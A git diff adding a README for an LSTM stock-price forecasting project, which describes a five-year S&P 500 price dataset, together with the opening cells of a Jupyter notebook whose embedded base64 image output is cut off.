diff --git a/MachineLearning Projects/Stock-Market-Forecasting/README.md b/MachineLearning Projects/Stock-Market-Forecasting/README.md new file mode 100644 index 00000000..3234cd01 --- /dev/null +++ b/MachineLearning Projects/Stock-Market-Forecasting/README.md @@ -0,0 +1,35 @@ +# Stock-Market-Predictions +Predicting the stock market opening values using Deep learning's Model Recurrent Neural Networks which is a very powerful model. + +# Description + + +# Context +Stock market data can be interesting to analyze and as a further incentive, strong predictive models can have large financial payoff. The amount of financial data on the web is seemingly endless. A large and well structured dataset on a wide array of companies can be hard to come by. Here I provide a dataset with historical stock prices (last 5 years) for all companies currently found on the S&P 500 index. + +The script I used to acquire all of these .csv files can be found in this GitHub repository In the future if you wish for a more up to date dataset, this can be used to acquire new versions of the .csv files. + +Feb 2018 note: I have just updated the dataset to include data up to Feb 2018. I have also accounted for changes in the stocks on the S&P 500 index (RIP whole foods etc. etc.). + +# Content +The data is presented in a couple of formats to suit different individual's needs or computational limitations. I have included files containing 5 years of stock data (in the all_stocks_5yr.csv and corresponding folder). + +The folder individual_stocks_5yr contains files of data for individual stocks, labelled by their stock ticker name. The all_stocks_5yr.csv contains the same data, presented in a merged .csv file. Depending on the intended use (graphing, modelling etc.) the user may prefer one of these given formats. + +All the files have the following columns: Date - in format: yy-mm-dd + +Open - price of the stock at market open (this is NYSE data so all in USD) + +High - Highest price reached in the day + +Low Close - Lowest price reached in the day + +Volume - Number of shares traded + +Name - the stock's ticker name + +# Acknowledgements +Due to volatility in google finance, for the newest version I have switched over to acquiring the data from The Investor's Exchange api, the simple script I use to do this is found here. Special thanks to Kaggle, Github, pandas_datareader and The Market. + +# Inspiration +This dataset lends itself to a some very interesting visualizations. One can look at simple things like how prices change over time, graph an compare multiple stocks at once, or generate and graph new metrics from the data provided. From these data informative stock stats such as volatility and moving averages can be easily calculated. The million dollar question is: can you develop a model that can beat the market and allow you to make statistically informed trades! diff --git a/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb b/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb new file mode 100644 index 00000000..c6b5d33e --- /dev/null +++ b/MachineLearning Projects/Stock-Market-Forecasting/Stock_Market_forecasting_using_stacked_LSTM.ipynb @@ -0,0 +1,1969 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "id": "DTANoaBw5iLA" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Matplotlib is building the font cache; this may take a moment.\n" + ] + } + ], + "source": [ + "import numpy as np \n", + "import pandas as pd \n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "import seaborn as sns\n", + "from datetime import datetime, timedelta\n", + "import warnings\n", + "warnings.filterwarnings(\"ignore\")" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "TGefw8XP5iRW", + "outputId": "2c5bc7dd-6b80-47d9-ac77-7c1e2464a135" + }, + "outputs": [ + { + "data": { + "text/html": [ + "
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